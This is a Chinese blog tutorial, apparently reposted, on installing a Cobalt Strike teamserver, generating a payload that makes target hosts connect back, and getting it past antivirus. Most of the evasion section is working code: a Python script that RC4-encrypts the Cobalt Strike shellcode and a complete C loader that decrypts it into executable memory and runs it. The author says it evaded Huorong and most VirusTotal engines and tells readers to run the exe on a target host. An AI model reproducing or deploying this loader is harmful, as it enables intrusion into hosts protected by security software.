Cobalt_Strike(CS)渗透工具安装使用到免杀上线

Cobalt_Strike(CS)安装到免杀上线

原文链接:
cs免杀上线 点我

https://mp.weixin.qq.com/s?__biz=MzkxNDY5NzMxNw==&mid=2247483862&idx=1&sn=c6b4da3ce5772a075431098227397baa&chksm=c16b3cdcf61cb5ca06f615130cde9e20719a516476609442f329bf4eeb143c656ea6e5c16cd2&token=980969003&lang=zh_CN#rd

安装

将压缩包上传Linux服务器上解压

解压后里面有两个文件,teamserver和TeamServerImage,要赋予他们两个可执行权限才行

chmod 777 teamserver
chmod 777 TeamServerImage

请添加图片描述

执行teamserver,后面跟本机的ip+密码

./teamserver 192.168.182.134 password

这样就算成功了
在这里插入图片描述

上线
用户随便写,直接连接

图片

进入之后新建监听器:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

加载cs插件

在这里插入图片描述

生成pyload上线主机

图片

监听器选择刚刚创建的

图片

记得关闭杀软,不然会被删,把生成的exe文件放到目标主机双击,即可上线cs

图片

免杀

shellcode混淆加密

这里只介绍一种简单的免杀方式,利用未公开函数进行RC4加解密

使用cs生成c语言的pyload,这里注意记住自己使用的是X64还是X86

图片

接下来使用python生成一段RC4加密脚本,对CS的pyload进行加密

import sys
from arc4 import ARC4

# 原始的shellcode(示例)
shellcode = (b"这里放CS生成的pyload")

# 密钥
key = b'secretkey'

# 使用ARC4加密
cipher = ARC4(key)
encrypted_shellcode = cipher.encrypt(shellcode)

# 打印加密后的shellcode
print("Encrypted Shellcode:", encrypted_shellcode.hex())

# 将加密后的shellcode保存到文件
with open("encrypted_shellcode.bin", "wb") as f:
    f.write(encrypted_shellcode)

上面代码运行之后会在当前文件夹下生成一个bin文件,记住这个文件的位置,这里我把它放到了E盘下面

图片

接着写一段C代码,对加密后的shellcode进行解密并执行,注意后缀是.c,不是.cpp它们是不一样的

在这里插入图片描述

这里代码有很多是我方便调试写的,可以去掉那些打印的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// RC4加密函数
void rc4(unsigned char* data, int data_len, unsigned char* key, int key_len) {
    unsigned char S[256];
    unsigned char T[256];
    unsigned char temp;
    int i, j = 0, t, k;

    for (i = 0; i < 256; i++) {
        S[i] = (unsigned char)i;
        T[i] = key[i % key_len];
    }

    for (i = 0; i < 256; i++) {
        j = (j + S[i] + T[i]) % 256;
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;
    }

    i = j = 0;
    for (k = 0; k < data_len; k++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        temp = S[i];
        S[i] = S[j];
        S[j] = temp;
        t = (S[i] + S[j]) % 256;
        data[k] ^= S[t];
    }
}

void print_shellcode(unsigned char* shellcode, int length) {
    for (int i = 0; i < length; i++) {
        printf("\\x%02x", shellcode[i]);
    }
    printf("\n");
}

int main() {
    FILE* file = fopen("E:\\encrypted_shellcode.bin", "rb");
    if (!file) {
        printf("无法打开文件。\n");
        return 1;
    }

    fseek(file, 0, SEEK_END);
    long file_size = ftell(file);
    fseek(file, 0, SEEK_SET);

    unsigned char* encrypted_shellcode = (unsigned char*)malloc(file_size);
    fread(encrypted_shellcode, 1, file_size, file);
    fclose(file);

    unsigned char key[] = "secretkey";
    int key_len = strlen((char*)key);

    // 解密shellcode
    printf("解密shellcode...\n");
    rc4(encrypted_shellcode, file_size, key, key_len);

    // 打印解密后的shellcode
    printf("解密后的shellcode:\n");
    print_shellcode(encrypted_shellcode, file_size);

    // 分配可执行内存
    printf("分配可执行内存...\n");
    void* exec_mem = VirtualAlloc(0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        printf("内存分配失败。\n");
        free(encrypted_shellcode);
        return 1;
    }

    // 复制解密的shellcode到可执行内存
    printf("复制shellcode到可执行内存...\n");
    memcpy(exec_mem, encrypted_shellcode, file_size);
    free(encrypted_shellcode);

    // 执行shellcode
    printf("执行shellcode...\n");
    ((void(*)())exec_mem)();

    // 释放内存
    printf("释放内存...\n");
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}

运行之后,本地主机直接就上线了

图片

把生成的exe文件放到虚拟机执行之后一样上线,这样要注意把加密后的shellcode也要放入虚拟机

图片

图片

成功绕过某绒

vt过60,一大半了,对于刚接触免杀的我来说,已经不错了

图片

未完待续

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/671418.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Flutter开发效率提升1000%,Flutter Quick教程之在特定位置插入Widget

当我们要将Widget插入一个Column,Row或者Listview等有多个子元素的Widget的时候&#xff0c;有两种情况&#xff0c;一种是顺序插入&#xff0c;一种是非顺序插入。顺序插入就是Widget的排列顺序和插入顺序相同&#xff0c;非顺序插入则不是。 一&#xff0c;顺序插入。如图所…

树莓派通过PCA9685控制FT2331M舵机(Python)

很久之前整过PWM舵机&#xff0c;刚好最近师弟需要&#xff0c;并且网上现有教程不是很完整&#xff0c;就整理一下。方便交流以及后面回顾。 首先要明确&#xff0c;在这个控制方式中需要用到哪些方面&#xff1a; 1、树莓派与PCA9685之间使用I2C通信 2、PCA9685通讯协议 3…

牛客网刷题 | BC113 数字三角形

目前主要分为三个专栏&#xff0c;后续还会添加&#xff1a; 专栏如下&#xff1a; C语言刷题解析 C语言系列文章 我的成长经历 感谢阅读&#xff01; 初来乍到&#xff0c;如有错误请指出&#xff0c;感谢&#xff01; 描述 KiKi学习了循环&am…

【Text2SQL 论文】DBCopilot:将 NL 查询扩展到大规模数据库

论文&#xff1a;DBCopilot: Scaling Natural Language Querying to Massive Databases ⭐⭐⭐⭐ Code: DBCopilot | GitHub 一、论文速读 论文认为目前的 Text2SQL 研究大多只关注具有少量 table 的单个数据库上的查询&#xff0c;但在面对大规模数据库和数据仓库的查询时时却…

RHEL7.9修改分区

系统RHEL7.9 他因为安装软件&#xff0c;需要修改分区 进入超级用户root&#xff0c;输入lsblk 查看分区&#xff0c;可见465.8G系统盘sda下有三个物理卷&#xff0c;其中sda3下/home有410.6G&#xff0c;需要这部分拆分出200G软件和100G的数据库分区 备份/home 目录下文件 c…

自动化办公02 用openpyxl库操作excel.xlsx文件(新版本)

目录 一、文件读操作 二、文件写操作 三、修改单元格样式 openpyxl 是一个处理Excel表格的第三方库。openpyxl 库可以处理Excel2010以后的电子表格格式&#xff0c;包括&#xff1a;xlsx/xlsm/xltx/xltm。 openpyxl教程 一、文件读操作 工作簿(workbook): excel文件 工作表…

LNMP网站架构部署

目录 一、LNMP架构部署&#xff08;源码编译安装&#xff09; ①实验准备 ②安装nginx服务 ③安装mysql服务&#xff0c;配置文件 ④安装php服务&#xff0c;修改配置文件 ⑤验证 静态页面测试访问 动态页面测试访问 调用数据库测试 二、LNMP架构应用实例 1.论坛网站…

南京观海微电子---简单驱动电路设计用NMOS防反接,性价比比较高?

来看看NMOS的防反保护电路有什么不同&#xff1f; 简单的栅极驱动电路设计&#xff0c;我们会使用NMOS来作防反电路&#xff0c;原因是成本较低。 PMOS一般会放置在电路的高边&#xff0c;NMOS则是在低边放置。两者的功能类似。不过&#xff0c;NMOS的防反结构&#xff0c;它…

..\MYLIB\modbus.c(49): error: #84: invalid combination of type specifiers

在keil中添加相应的文件出现以下问题时 ..\MYLIB\modbus.c(49): error: #84: invalid combination of type specifiers 是由于&#xff1a;在定义的函数体的前面有一个变量类型

攻防世界---misc---心仪的公司

1、题目描述 2、下载附件是一个流量包 方法一&#xff1a; 1、用winhex分析&#xff0c;ctrlf搜索flag 2、尝试将搜索到的flag拿去提交&#xff0c;但是不对 3、担心flag不是长flag&#xff0c;做题多了你就会发现有些flag会是fl4g这种&#xff0c;为了可以稍微全面一点&…

笔试训练2

牛客.单词搜索 刚开始我就想是搜索&#xff0c;但是不清楚bfs还是dfs更好&#xff0c;我尝试了bfs但是队列存东西&#xff0c;没有我想象的那么好写&#xff0c;所以我决定试试dfs import java.util.*;public class Solution {static int m 0;static int n 0;static int […

【AIGC】FaceChain:发挥生成式内容的无限可能性

基于图像生成的个性化肖像框架 摘要 FaceChaine提供了一系列的生成方案&#xff0c;通过少量的图像输入&#xff0c;就能生成逼真的个性化肖像。它是一个个性化肖像生成框架&#xff0c;包含丰富的人脸感知相关的模型&#xff0c;例如人脸检测&#xff0c;深度人脸向量提取&am…

【算法】合并两个有序链表(easy)——递归算法

题解&#xff1a;合并两个有序链表(easy)——递归求解 目录 1.题目2.题解3.参考代码4.总结 1.题目 题目链接&#xff1a;LINK 2.题解 本题有两种解法&#xff0c; 一是用循环去处理 链接&#xff1a;【刷题记录】合并两个有序数组、移除元素二是用递归去处理 将在下面中说…

23、linux系统文件和日志分析

linux文件系统与日志分析 文件时存储在硬盘上的&#xff0c;硬盘上的最小存储单位是扇区&#xff0c;每个扇区大大小是512字节。 inode&#xff1a;元信息&#xff08;文件的属性 权限&#xff0c;创建者&#xff0c;创建日期等&#xff09; block&#xff1a;块&#xff0c…

Java 22的FFM API,比起Java 21的虚拟线程

哪个对Java未来的发展影响更大&#xff1f;两个 Java 版本中的重要特性&#xff1a;Java 21 的虚拟线程和 Java 22 的 FFM API。我这里有一套编程入门教程&#xff0c;不仅包含了详细的视频讲解&#xff0c;项目实战。如果你渴望学习编程&#xff0c;不妨点个关注&#xff0c;给…

fintuning chatglm3

chatglm3介绍 ChatGLM3-6B 是 ChatGLM 系列最新一代的开源模型&#xff0c;在保留了前两代模型对话流畅、部署门槛低等众多优秀特性的基础上&#xff0c;ChatGLM3-6B 引入了如下特性&#xff1a; 更强大的基础模型&#xff1a; ChatGLM3-6B 的基础模型 ChatGLM3-6B-Base 采用…

2、浮动的用法特点,解决父元素高度塌陷解决

一、浮动 用法&#xff1a;浮动就是使用float样式&#xff0c;使元素脱离文档流。属性值有三个&#xff1a;none默认left right 特点&#xff1a; 常用于文字环绕图片浮动的元素脱离文档流影响其他元素排列造成父元素高度塌陷 1、一旦元素设置了浮动&#xff0c;元素就会脱离…

【教程】20个高级 Python 函数,让你编程更高效

在Python的编程世界中,函数是我们编写代码的重要工具之一。除了常见的内置函数外,Python还提供了许多强大而有趣的高级函数,它们可以帮助我们简化代码、提升效率,甚至在某些情况下让编程变得更加有趣。让我们一起来探索这些高级函数的奇妙之处吧! 1.enumerate() – 枚举函…

VBA字典与数组第十五讲:多行多列数组与同列数单行数组间的运算规则

《VBA数组与字典方案》教程&#xff08;10144533&#xff09;是我推出的第三套教程&#xff0c;目前已经是第二版修订了。这套教程定位于中级&#xff0c;字典是VBA的精华&#xff0c;我要求学员必学。7.1.3.9教程和手册掌握后&#xff0c;可以解决大多数工作中遇到的实际问题。…

【Intro】Heterogeneous Graph Attention Network(HAN)

论文链接&#xff1a;https://arxiv.org/pdf/1903.07293 Abstract 异构性和丰富的语义信息给面向异构图的图形神经网络设计带来了巨大的挑战。 -> 一种基于分层注意的异构图神经网络&#xff0c;包括节点级注意和语义级注意。具体来说&#xff0c;节点级关注旨在学习节点…